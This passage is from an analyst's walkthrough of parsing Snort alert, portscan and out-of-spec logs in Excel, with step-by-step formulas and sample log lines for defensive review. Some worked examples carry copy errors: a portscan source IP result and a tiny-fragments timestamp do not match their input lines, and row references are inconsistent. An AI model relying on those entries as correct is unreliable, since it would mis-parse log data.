  - A set of Snort Scan Logs (18 text files ranging in size from 100Kb to 1.3Mb, including two duplicates)
  - A set of Snort Out-of-spec (OOS) Checks (18 text files all under about 300Kb)
- Each file appears to be one day's worth of logs
- Noted where the time gaps were in the log files

3 Prepare the data:
MS Excel and a text search utility are my primary search and analysis tools. I used MS Excel 2000 to parse and sort the data, and a freeware text search tool call Agent Ransack (http://www.agentransack.com/) to quickly search for correlating info (IP Addresses, ports, timestamps) among a large number of text files.

4 I placed each day's Alert and Scan logs into an MS Excel spreadsheet

5 Within each Alert and Scan spreadsheet, I used Excel formulas to parse the data into separate columns

6 Once parsed, I could easily and quickly sort the data one way and then another (by Source IP or Port, Destination IP or Port, timestamp, etc.) until all the correlations became obvious

7 I took notes on the events of interest (Survey of Data table) that were uncovered

8 When a node appeared to be in a high-risk situation, I used the text search tool to look for correlations and indicating that the node had been compromised.

9 I searched SANS and other security websites for correlations of Ports and behavior I'd never seen before

Useful data: Here're the Excel formulas and process I used to parse the data:

- For the Snort Alert spreadsheets, I edited the spreadsheet as follows:

Cel	*Contents/Formula*	*Result*
A1	**09/14-00:05:38.136984 [**] WinGate 1080 Attempt [**] 216.176.130.250:1201 -> MY.NET.98.194:1080**	---
B1	=LEFT($A2,5)	**09/14**
C1	=MID($A2,10,12)	**00:05:38.136984**
D1	=MID($A2,29,FIND("]",$A2,29)-33)	**WinGate 1080 Attempt**
E1	=IF(ISERROR(FIND(" -> ",$A2)),"",MID($A2,FIND("] ",$A2,28)+2,FIND(":",$A2,28)-FIND("] ",$A2,28)-2))	**216.176.130.250**
F1	=IF(ISERROR(FIND(" -> ",$A2)),"",MID($A2,FIND(":",$A2,28)+1,FIND(" -> ",$A2)-1-FIND(":",$A2,28)))	**1201**
G1	=IF(ISERROR(FIND(" -> ",$A2)),"",MID($A2,FIND(" -> ",$A2)+4,FIND(":",$A2,FIND(" -> ",$A2))-FIND(" -> ",$A2)-4))	**MY.NET.98.194**
H1	=IF(ISERROR(FIND(" -> ",$A2)),"",RIGHT($A2,LEN($A2)-FIND(":",$A2,FIND(" -> ",$A2))))	**1080**

- Then I did a "Fill Down" on columns B through H, to parse out the Snort log entry in each row of Column A
- These formulas work for all Snort Alerts except:

- The "**Tiny Fragments – Possible Hostile Activity**" alerts, since these don't include source and destination Ports. For these rows in the spreadsheet, you have to use:

Cell	*Contents/Formula*	*Result*
A1	**09/14-09:15:35.433598 [**] Tiny Fragments - Possible Hostile Activity [**] 62.76.42.18 -> MY.NET.1.8**	---
B1	=LEFT($A2,5)	**09/14**
C1	=MID($A2,10,12)	**00:05:38.136984**
D1	=MID($A2,29,FIND("]",$A2,29)-33)	**Tiny Fragments – Possible Hostile Activity**
E1	=IF(ISERROR(FIND(" -> ",$A1730)),"",MID($A1730,FIND("] ",$A1730,28)+2,FIND(" -> ",$A1730,28)-FIND("] ",$A1730,28)-2))	**62.76.42.18**
F1	Unavail	**Unavail**
G1	=IF(ISERROR(FIND(" -> ",$A1730)),"",RIGHT($A1730,LEN($A1730)-FIND(" -> ",$A1730)))	**MY.NET.1.8**
H1	Unavail	**Unavail**

- The Portscan Alerts, since these are quite different in format. . For these rows in the spreadsheet, you have to use:

Cell	*Contents/Formula*	*Result*
A1	**09/14-18:46:28.950486 [**] spp_portscan: PORTSCAN DETECTED from 207.102.30.6 (STEALTH) [**]**	---
B1	=LEFT($A2,5)	**09/14**
C1	=MID($A2,10,12)	**18:46:28.950486**
D1	=MID($A2,29,FIND("]",$A2,29)-33)	**Spp_portscan: PORTSCAN DETECTED from 207.102.30.6 (STEALTH)**
E1	=MID($C2,FIND("from ",$C2)+5,FIND(" ",$C2,FIND("from ",$C2)+5)-FIND("from",$C2)-5)	**62.76.42.18**
F1	(empty)	---
G1	(empty)	**---**
H1	(empty)	**---**

- Then I selected Columns B through H, copied them, and did a "Paste Special" selecting to paste the Values of the cells (as opposed to the formulas)
- Then I deleted Column A
- The data should now be parsed into columns as values (text as opposed to Excel formulas), and can be easily sorted by any parameters.

For the Snort Portscan spreadsheets, I edited the spreadsheet as follows:

Cell	*Contents/Formula*	*Result*
A*x*	**Sep 14 04:45:59 207.230.248.254:0 -> MY.NET.208.18:6699 INVALIDACK *1*FRPA* RESERVEDBITS**	---
B*x*	=LEFT($A2, 6)	**Sep 14**
C*x*	=MID($A2,8,8)	**04:45:59**
D*x*	=MID($A2,17,FIND(":",$A2,17)-17)	**207.230.248.254**
E*x*	=MID($A2,FIND(":",$A2,17)+1,FIND(" -> ",$A2)-FIND(":",$A2,17)-1)	**0**
F*x*	=MID($A2,FIND(" -> ",$A2)+4,FIND(":",$A2,FIND(" -> ",$A2)+4)-FIND(" -> ",$A2)-4)	**MY.NET.208.18**
G*x*	=MID($A2,FIND(":",$A2,FIND(" -> ",$A2)+4)+1,FIND(" ",$A2,FIND(" -> ",$A2)+4)-FIND(":",$A2,FIND(" -> ",$A2)+4))	**6699**
H*x*	=MID($A2, FIND(" ",$A2,FIND(" -> ",$A2)+4)+1,999)	**INVALIDACK *1*FRPA* RESERVEDBITS**

- Then I selected Columns B through H, copied them, and did a “Paste Special” selecting to paste the Values of the cells (as opposed to the formulas)
- Then I deleted Column A